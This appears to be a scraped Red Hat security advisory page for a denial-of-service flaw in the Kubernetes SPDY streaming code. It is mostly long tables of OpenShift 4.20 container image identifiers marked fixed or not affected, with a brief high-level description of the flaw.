| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in the SPDY streaming code used by Kubelet, CRI-O, and kube-apiserver. An attacker with specific cluster roles, such as those allowing access to pod port forwarding, execution, or attachment, or node proxying, could exploit this vulnerability. This could lead to a Denial of Service (DoS) by causing the affected components to become unresponsive.
6.5 (Medium)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — |
Vendor Fix
fix
Workaround
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — |
Workaround
|
|
